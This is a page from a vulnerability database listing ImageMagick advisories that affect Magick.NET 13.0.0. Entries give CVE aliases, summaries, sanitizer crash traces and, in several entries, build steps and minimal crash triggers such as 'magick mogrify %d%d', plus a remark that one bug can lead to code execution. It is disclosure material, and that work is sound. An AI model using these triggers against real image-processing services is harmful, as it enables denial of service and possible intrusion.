Search for packages
| purl | pkg:nuget/Magick.NET-Q16-HDRI-arm64@13.0.0 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-15ny-qqbj-qyfk
Aliases: CVE-2026-26066 GHSA-v994-63cg-9wj3 |
ImageMagick has infinite loop when writing IPTCTEXT leads to denial of service via crafted profile A crafted profile contain invalid IPTC data may cause an infinite loop when writing it with `IPTCTEXT`. |
Affected by 18 other vulnerabilities. |
|
VCID-1cpn-zvem-v7gt
Aliases: CVE-2026-28691 GHSA-wj8w-pjxf-9g4f |
ImageMagick has uninitialized pointer dereference in JBIG decoder An uninitialized pointer dereference vulnerability exists in the JBIG decoder due to a missing check. |
Affected by 1 other vulnerability. |
|
VCID-29r3-kvf4-n3hc
Aliases: CVE-2026-27798 GHSA-qpgx-jfcq-r59f |
ImageMagick: Heap Buffer Over-read in WaveletDenoise when processing small images A heap buffer over-read vulnerability occurs when processing an image with small dimension using the `-wavelet-denoise` operator. ``` ==3693336==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000001280 at pc 0x5602c8b0cc75 bp 0x7ffcb105d510 sp 0x7ffcb105d500 READ of size 4 at 0x511000001280 thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-2gw3-qfan-jygd
Aliases: CVE-2025-68618 GHSA-p27m-hp98-6637 |
ImageMagick's failure to limit the depth of SVG file reads caused a DoS attack Using Magick to read a malicious SVG file resulted in a DoS attack. |
Affected by 64 other vulnerabilities. |
|
VCID-2zje-ag2v-7kac
Aliases: CVE-2026-30937 GHSA-qpg4-j99f-8xcg |
ImageMagick has heap buffer overflow in WriteXWDImage due to CARD32 arithmetic overflow in bytes_per_line calculation A 32-bit unsigned integer overflow in the XWD (X Windows) encoder can cause an undersized heap buffer allocation. When writing a extremely large image an out of bounds heap write can occur. ``` ================================================================= ==741961==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000083dc at pc 0x56553b4c4245 bp 0x7ffd9d20fef0 sp 0x7ffd9d20fee0 WRITE of size 1 at 0x5020000083dc thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-54da-fzyt-4ud2
Aliases: CVE-2026-28690 GHSA-7h7q-j33q-hvpf |
ImageMagick has stack write buffer overflow in MNG encoder A stack buffer overflow vulnerability exists in the MNG encoder. There is a bounds checks missing that could corrupting the stack with attacker-controlled data. ``` ==2265506==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec4971310 at pc 0x55e671b8a072 bp 0x7ffec4970f70 sp 0x7ffec4970f68 WRITE of size 1 at 0x7ffec4971310 thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-569d-6nue-5kbq
Aliases: CVE-2026-22770 GHSA-39h3-g67r-7g3c |
ImageMagick releases an invalid pointer in BilateralBlur when memory allocation fails The BilateralBlurImage method will allocate a set of double buffers inside AcquireBilateralTLS. But the last element in the set is not properly initialized. This will result in a release of an invalid pointer inside DestroyBilateralTLS when the memory allocation fails. |
Affected by 60 other vulnerabilities. |
|
VCID-5s8n-dfjf-ruey
Aliases: CVE-2025-53014 GHSA-hm4x-r5hc-794f |
ImageMagick has a Heap Buffer Overflow in InterpretImageFilename # Heap Buffer Overflow in InterpretImageFilename ## Summary A heap buffer overflow was identified in the `InterpretImageFilename` function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (`%%`). ## Environment - **OS**: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x86_64 GNU/Linux (GNU libc) 2.41) - **Architecture**: x86_64 - **Compiler**: gcc (GCC) 15.1.1 20250425 ## Reproduction ### Build Instructions ```bash # Clone the repository git clone https://github.com/ImageMagick/ImageMagick.git cd ImageMagick git reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12 # Build with AddressSanitizer export CFLAGS="-fsanitize=address -g -O1" export CXXFLAGS="-fsanitize=address -g -O1" export LDFLAGS="-fsanitizer=address" ./configure make # Set library path and trigger the crash export LD_LIBRARY_PATH="$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LD_LIBRARY_PATH" ./utilities/.libs/magick %% a ``` ### Minimum Trigger ```bash ./utilities/.libs/magick %% [any_output_filename] ``` ## Crash Analysis ### AddressSanitizer Output ``` $ ./utilities/.libs/magick %% a ================================================================= ==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8 READ of size 1 at 0x7037f99e3ad3 thread T0 #0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:746 #1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674 #2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040 #3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959 #4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473 #5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x5ef7a3546638 in MagickMain utilities/magick.c:162 #9 0x5ef7a3546872 in main utilities/magick.c:193 #10 0x7417ff53f6b4 (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #11 0x7417ff53f768 in __libc_start_main (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #12 0x5ef7a3546204 in _start (/home/kforfk/workspace/fuzz_analysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2) 0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3) allocated by thread T0 here: #0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67 #1 0x7418013e86bc in AcquireMagickMemory MagickCore/memory.c:559 SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename Shadow bytes around the buggy address: 0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04 =>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa 0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2227694==ABORTING ``` ## Root Cause Analysis The first command line argument is interpreted as `MagickImageCommand`: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83 ```c const CommandInfo MagickCommands[] = { MagickCommandSize("magick", MagickFalse, MagickImageCommand), ``` It is invoked here: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220 ```c status=command(image_info,argc,argv,&text,exception); ``` The execution then follows this path: - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L1387 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L586 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L419 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5391 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5473 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L4959 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1009 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1039 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1649 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1674 The execution eventually reaches `InterpretImageFilename` and enters a loop. The `format` variable here is `"%%"`. At this point, it is safe to access `*(format + 2)` but not safe to access `*(format + 3)`. ```c for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } ``` The first `strchr` call returns a pointer equal to `format` and assigns it to `p`. Then `q` is initialized with `p + 1` (`format + 1`), and `*q` is `'%'`, so the code enters the if branch. Here, `p` is reassigned to `q + 1` (`format + 2`). In the next iteration, `p + 1` (`format + 3`) is passed to `strchr`, and when `strchr` accesses it, this causes an out-of-bounds read. |
Affected by 74 other vulnerabilities. |
|
VCID-5uyd-bv33-h7g1
Aliases: CVE-2026-25897 GHSA-6j5f-24fw-pqp4 |
ImageMagick: Heap overflow in sun decoder on 32-bit systems may result in out of bounds write An Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write. ``` ================================================================= ==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0 WRITE of size 1 at 0xf190b50e thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-5xqd-gf3b-4ygw
Aliases: CVE-2026-25966 GHSA-xwc6-v6g8-pw2h |
ImageMagick's Security Policy Bypass through config/policy-secure.xml via "fd handler" leads to stdin/stdout access The shipped “secure” security policy includes a rule intended to prevent reading/writing from standard streams: ```xml <policy domain="path" rights="none" pattern="-"/> ``` However, ImageMagick also supports fd:<n> pseudo-filenames (e.g., fd:0, fd:1). This path form is not blocked by the secure policy templates, and therefore bypasses the protection goal of “no stdin/stdout”. To resolve this, users can add the following change to their security policy. ```xml <policy domain="path" rights="none" pattern="fd:*"/> ``` And this will also be included in ImageMagick's more secure policies by default. |
Affected by 18 other vulnerabilities. |
|
VCID-5zkt-kcgx-a3e2
Aliases: CVE-2026-25970 GHSA-xg29-8ghv-v4xr |
ImageMagick Has Signed Integer Overflow in SIXEL Decoder, Leading to Memory Corruption A signed integer overflow vulnerability in ImageMagick's SIXEL decoder allows an attacker to trigger memory corruption and denial of service when processing a maliciously crafted SIXEL image file. The vulnerability occurs during buffer reallocation operations where pointer arithmetic using signed 32-bit integers overflows. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==143838==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 #0 0x7f379d5adb53 (/lib/x86_64-linux-gnu/libc.so.6+0xc4b53) ``` |
Affected by 18 other vulnerabilities. |
|
VCID-62ar-kwbq-nyh3
Aliases: CVE-2026-25638 GHSA-gxcx-qjqp-8vjw |
ImageMagick has memory leak in msl encoder Memory leak exists in `coders/msl.c`. In the `WriteMSLImage` function of the `msl.c` file, resources are allocated. But the function returns early without releasing these allocated resources. ``` ==78983== Memcheck, a memory error detector ==78983== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al. ==78983== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info ==78983== ==78983== 177,196 (13,512 direct, 163,684 indirect) bytes in 1 blocks are definitely lost in loss record 21 of 21 ==78983== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so) ``` |
Affected by 18 other vulnerabilities. |
|
VCID-69f6-ceje-hyah
Aliases: GHSA-wgxp-q8xq-wpp9 |
ImageMagick: Malicious PCD files trigger 1‑byte heap Out-of-bounds Read and DoS The PCD coder’s DecodeImage loop allows a crafted PCD file to trigger a 1‑byte heap out-of-bounds read when decoding an image (Denial of service) and potential disclosure of adjacent heap byte. |
Affected by 18 other vulnerabilities. |
|
VCID-6h7x-3rue-kucp
Aliases: CVE-2026-28692 GHSA-mrmj-x24c-wwcv |
ImageMagick has a heap buffer over-read via 32-bit integer overflow in MAT decoder In MAT decoder uses 32-bit arithmetic due to incorrect parenthesization resulting in a heap over-read. ``` ================================================================= ==969652==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000003b40 at pc 0x555557b2a926 bp 0x7fffffff4c80 sp 0x7fffffff4c70 READ of size 8 at 0x506000003b40 thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-6meg-yjby-a7gj
Aliases: GHSA-qp59-x883-77qv |
ImageMagick has a Memory Leak in LoadOpenCLDeviceBenchmark() when parsing malformed XML ### Summary A memory leak vulnerability exists in the `LoadOpenCLDeviceBenchmark()` function in `MagickCore/opencl.c`. When parsing a malformed OpenCL device profile XML file that contains `<device` elements without proper `/>` closing tags, the function fails to release allocated memory for string members (`platform_name`, `vendor_name`, `name`, `version`), leading to memory leaks that could result in resource exhaustion. **Affected Version**: ImageMagick 7.1.2-12 and possibly earlier versions --- ### Details The vulnerability is located in `MagickCore/opencl.c`, function `LoadOpenCLDeviceBenchmark()` (lines 754-911). **Root Cause Analysis:** 1. When a `<device` tag is encountered, a `MagickCLDeviceBenchmark` structure is allocated (line 807-812) 2. String attributes (`platform`, `vendor`, `name`, `version`) are allocated via `ConstantString()` (lines 878, 885, 898, 900) 3. These strings are **only freed** when a `/>` closing tag is encountered (lines 840-849) 4. At function exit (lines 908-910), only the `device_benchmark` structure is freed, but **its member variables are not freed** if `/>` was never parsed **Vulnerable Code (lines 908-910):** ```c token=(char *) RelinquishMagickMemory(token); device_benchmark=(MagickCLDeviceBenchmark *) RelinquishMagickMemory( device_benchmark); // BUG: members (platform_name, vendor_name, name, version) not freed! ``` **Correct cleanup (only executed when `/>` is found, lines 840-849):** ```c device_benchmark->platform_name=(char *) RelinquishMagickMemory(device_benchmark->platform_name); device_benchmark->vendor_name=(char *) RelinquishMagickMemory(device_benchmark->vendor_name); device_benchmark->name=(char *) RelinquishMagickMemory(device_benchmark->name); device_benchmark->version=(char *) RelinquishMagickMemory(device_benchmark->version); device_benchmark=(MagickCLDeviceBenchmark *) RelinquishMagickMemory(device_benchmark); ``` --- ### PoC **Environment:** - OS: Ubuntu 22.04.5 LTS (Linux 6.8.0-87-generic x86_64) - Compiler: GCC 11.4.0 - ImageMagick: 7.1.2-13 (commit `a52c1b402be08ef8ae193f28ac5b2e120f2fa26f`) **Step 1: Build ImageMagick with AddressSanitizer** ```bash cd ImageMagick ./configure \ CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" \ CXXFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" \ LDFLAGS="-fsanitize=address" \ --disable-openmp make -j$(nproc) ``` **Step 2: Create malformed XML file** **Step 3: Place file in OpenCL cache directory** ```bash mkdir -p ~/.cache/ImageMagick cp malformed_opencl_profile.xml ~/.cache/ImageMagick/ImagemagickOpenCLDeviceProfile.xml ``` **Step 4: Run ImageMagick with leak detection** ```bash export ASAN_OPTIONS="detect_leaks=1:symbolize=1" ./utilities/magick -size 100x100 xc:red output.png ``` **ASAN Output:** ``` ================================================================= ==2543490==ERROR: LeakSanitizer: detected memory leaks Direct leak of 96 byte(s) in 2 object(s) allocated from: #0 ... in AcquireMagickMemory MagickCore/memory.c:536 #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:807 Direct leak of 16 byte(s) in 1 object(s) allocated from: #0 ... in ConstantString MagickCore/string.c:692 #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:878 ← name Direct leak of 14 byte(s) in 1 object(s) allocated from: #0 ... in ConstantString MagickCore/string.c:692 #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:885 ← platform_name Direct leak of 14 byte(s) in 1 object(s) allocated from: #0 ... in ConstantString MagickCore/string.c:692 #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:898 ← vendor_name Direct leak of 15 byte(s) in 1 object(s) allocated from: #0 ... in ConstantString MagickCore/string.c:692 #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:900 ← version SUMMARY: AddressSanitizer: 203 byte(s) leaked in 18 allocation(s). ``` --- ### Impact **Vulnerability Type:** CWE-401 (Missing Release of Memory after Effective Lifetime) **Severity:** Low **Who is impacted:** - Users who have OpenCL enabled in ImageMagick - Systems where an attacker can place or modify files in the OpenCL cache directory (`~/.cache/ImageMagick/`) - Long-running ImageMagick processes or services that repeatedly initialize OpenCL **Potential consequences:** - Memory exhaustion over time if the malformed configuration is repeatedly loaded - Denial of Service (DoS) in resource-constrained environments **Attack Vector:** Local - requires write access to the user's OpenCL cache directory |
Affected by 60 other vulnerabilities. |
|
VCID-6rma-wjdv-uqe9
Aliases: GHSA-3j4x-rwrx-xxj9 |
mageMagick has a possible use-after-free write in its PDB decoder A use-after-free vulnerability exists in the PDB decoder that will use a stale pointer when a memory allocation fails and that could result in a crash or a single zero byte write. ``` ==4033155==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x5589c1971b24 bp 0x7ffdcc7ae2d0 sp 0x7ffdcc7adb20 T0) ``` ``` ==4034812==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f099e9f7800 at pc 0x5605d909ab20 bp 0x7ffe52045b50 sp 0x7ffe52045b40 WRITE of size 1 at 0x7f099e9f7800 thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-6t7d-2hre-sqbw
Aliases: CVE-2025-53015 GHSA-vmhh-8rxq-fp9g |
ImageMagick has XMP profile write that triggers hang due to unbounded loop ### Summary Infinite lines occur when writing during a specific XMP file conversion command ### Details ``` #0 GetXmpNumeratorAndDenominator (denominator=<optimized out>, numerator=<optimized out>, value=<optimized out>) at MagickCore/profile.c:2578 #1 GetXmpNumeratorAndDenominator (denominator=<synthetic pointer>, numerator=<synthetic pointer>, value=720000000000000) at MagickCore/profile.c:2564 #2 SyncXmpProfile (image=image@entry=0x555555bb9ea0, profile=0x555555b9d020) at MagickCore/profile.c:2605 #3 0x00005555555db5cf in SyncImageProfiles (image=image@entry=0x555555bb9ea0) at MagickCore/profile.c:2651 #4 0x0000555555798d4f in WriteImage (image_info=image_info@entry=0x555555bc2050, image=image@entry=0x555555bb9ea0, exception=exception@entry=0x555555b7bea0) at MagickCore/constitute.c:1288 #5 0x0000555555799862 in WriteImages (image_info=image_info@entry=0x555555bb69c0, images=<optimized out>, images@entry=0x555555bb9ea0, filename=<optimized out>, exception=0x555555b7bea0) at MagickCore/constitute.c:1575 #6 0x00005555559650c4 in CLINoImageOperator (cli_wand=cli_wand@entry=0x555555b85790, option=option@entry=0x5555559beebe "-write", arg1n=arg1n@entry=0x7fffffffe2c7 "a.mng", arg2n=arg2n@entry=0x0) at MagickWand/operation.c:4993 #7 0x0000555555974579 in CLIOption (cli_wand=cli_wand@entry=0x555555b85790, option=option@entry=0x5555559beebe "-write") at MagickWand/operation.c:5473 #8 0x00005555559224aa in ProcessCommandOptions (cli_wand=cli_wand@entry=0x555555b85790, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8, index=index@entry=1) at MagickWand/magick-cli.c:758 #9 0x000055555592276d in MagickImageCommand (image_info=image_info@entry=0x555555b824a0, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8, metadata=metadata@entry=0x7fffffffbc10, exception=exception@entry=0x555555b7bea0) at MagickWand/magick-cli.c:1392 #10 0x00005555559216a0 in MagickCommandGenesis (image_info=image_info@entry=0x555555b824a0, command=command@entry=0x555555922640 <MagickImageCommand>, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8, metadata=0x0, exception=exception@entry=0x555555b7bea0) at MagickWand/magick-cli.c:177 #11 0x000055555559f76b in MagickMain (argc=3, argv=0x7fffffffdfa8) at utilities/magick.c:162 #12 0x00007ffff700fd90 in __libc_start_call_main (main=main@entry=0x55555559aec0 <main>, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8) at ../sysdeps/nptl/libc_start_call_main.h:58 #13 0x00007ffff700fe40 in __libc_start_main_impl (main=0x55555559aec0 <main>, argc=3, argv=0x7fffffffdfa8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf98) at ../csu/libc-start.c:392 #14 0x000055555559f535 in _start () ``` ``` static void GetXmpNumeratorAndDenominator(double value, unsigned long *numerator,unsigned long *denominator) { double df; *numerator=0; *denominator=1; if (value <= MagickEpsilon) return; *numerator=1; df=1.0; while(fabs(df - value) > MagickEpsilon) { if (df < value) (*numerator)++; else { (*denominator)++; *numerator=(unsigned long) (value*(*denominator)); } df=*numerator/(double)*denominator; } } ``` In this code, the loop `while(fabs(df - value) > MagickEpsilon)` keeps repeating endlessly. ### PoC `magick hang a.mng` https://drive.google.com/file/d/1iegkwlTjqnJTtM4XkiheYsjKsC6pxtId/view?usp=sharing ### Impact XMP profile write triggers hang due to unbounded loop ### credits **Team Pay1oad DVE** **Reporter** : **Shinyoung Won** (with contributions from **WooJin Park, DongHa Lee, JungWoo Park, Woojin Jeon, Juwon Chae**, **Kyusang Han, JaeHun Gou**) **yosimich(@yosiimich**) **Shinyoung Won** of SSA Lab e-mail : [yosimich123@gmail.com] **Woojin Jeon** Gtihub : brainoverflow e-mail : [root@brainoverflow.kr] **WooJin Park** GitHub : jin-156 e-mail : [1203kids@gmail.com] **Who4mI(@GAP-dev) Lee DongHa of SSA Lab** Github: GAP-dev e-mail : [ceo@zeropointer.co.kr] **JungWoo Park** Github : JungWooJJING e-mail : [cuby5577@gmail.com] **Juwon Chae** Github : I_mho e-mail : [wndnjs4698@naver.com] **Kyusang Han** Github : T1deSEC e-mail : [hksjoe0081@gmail.com] **JaeHun Gou** Github : P2GONE e-mail : [charly20@naver.com] ### Commits Fixed in: https://github.com/ImageMagick/ImageMagick/commit/229fa96a988a21d78318bbca61245a6ed1ee33a0 and https://github.com/ImageMagick/ImageMagick/commit/38631605e6ab744548a561797472cf8648bcfe26 |
Affected by 74 other vulnerabilities. |
|
VCID-6ztv-auh8-27gx
Aliases: GHSA-wfx3-6g53-9fgc |
ImageMagick: Memory Leak in multiple coders that write raw pixel data A memory leak vulnerability exists in multiple coders that write raw pixel data where an object is not freed. ``` Direct leak of 160 byte(s) in 1 object(s) allocated from: ``` |
Affected by 18 other vulnerabilities. |
|
VCID-784p-34mz-vucz
Aliases: CVE-2025-53019 GHSA-cfh4-9f7v-fhrc |
ImageMagick has a Memory Leak in magick stream ## Summary In ImageMagick's `magick stream` command, specifying multiple consecutive `%d` format specifiers in a filename template causes a memory leak. ## Details - **Vulnerability Type:** Memory leak - **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) ## Reproduction ### Tested Environment - **Operating System:** Ubuntu 22.04 LTS - **Architecture:** x86_64 - **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0) ### Reproduction Steps ```bash # Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick stream %d%d a a ``` ### Output ``` $ magick stream %d%d a a stream: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746. stream: missing an image filename `a' @ error/stream.c/StreamImageCommand/755. ================================================================= ==114==ERROR: LeakSanitizer: detected memory leaks Direct leak of 152 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe58887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x7fc4eb563c5c in AcquireMagickMemory MagickCore/memory.c:559 #2 0x7fc4eb563c82 in AcquireCriticalMemory MagickCore/memory.c:635 #3 0x7fc4eb60c2be in AcquireQuantumInfo MagickCore/quantum.c:119 #4 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #5 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #6 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #8 0x55a34f7c0cba in main utilities/magick.c:184 #9 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe5957c in __interceptor_posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:226 #1 0x7fc4eb680e2f in AcquireSemaphoreMemory MagickCore/semaphore.c:154 #2 0x7fc4eb680f30 in AcquireSemaphoreInfo MagickCore/semaphore.c:200 #3 0x7fc4eb60d38d in GetQuantumInfo MagickCore/quantum.c:435 #4 0x7fc4eb60c30e in AcquireQuantumInfo MagickCore/quantum.c:121 #5 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #6 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #7 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #9 0x55a34f7c0cba in main utilities/magick.c:184 #10 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: 216 byte(s) leaked in 2 allocation(s). ``` ### Commits Fixed in https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c and https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b |
Affected by 74 other vulnerabilities. |
|
VCID-7t1t-1spz-gfee
Aliases: CVE-2025-68469 GHSA-fff3-4rp7-px97 |
ImageMagick has a heap-buffer-overflow ### Summary While Processing a crafted TIFF file, imagemagick crashes. ### Details Following is the imagemagick version: ``` imagemagick_git/build_26jun23/bin/magick --version Version: ImageMagick 7.1.1-13 (Beta) Q16-HDRI x86_64 56f478940:20230625 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI Delegates (built-in): fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff webp x xml zlib Compiler: gcc (4.2) ``` ### PoC issue can be replicated with following command with provided POC file(sent over email): ```bash magick poc.tiff /dev/null ``` ### Impact This can lead to application crash. ### Credits Please give credits to Hardik shah of Vehere (Dawn Treaders team) |
Affected by 78 other vulnerabilities. |
|
VCID-9ewm-6688-kkar
Aliases: CVE-2025-53101 GHSA-qh3h-j545-h8c9 |
ImageMagick has a Stack Buffer Overflow in image.c Hi, we have found a stack buffer overflow and would like to report this issue. Could you confirm if this qualifies as a security vulnerability? I am happy to provide any additional information needed. ## Summary In ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`. ### Additional information Upon further investigation, we found that the same issue occurs not only with mogrify but also with the following subcommands: compare, composite, conjure, convert, identify, mogrify, and montage. Furthermore, we confirmed that this vulnerability has the potential to lead to RCE. RCE is possible when ASLR is disabled and there is a suitable one_gadget in libc, provided that options and filenames can be controlled. ## Details - **Vulnerability Type:** CWE-124: Buffer Underwrite - **Affected Component:** MagickCore/image.c - Format processing within InterpretImageFilename() - **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) - **CWE-124: Buffer Underwrite:** A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing. ## Reproduction ### Tested Environment - **Operating System:** Ubuntu 22.04 LTS - **Architecture:** x86_64 - **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0) ### Reproduction Steps ```bash # Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick mogrify %d%d ``` ### Output ```plaintext ==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 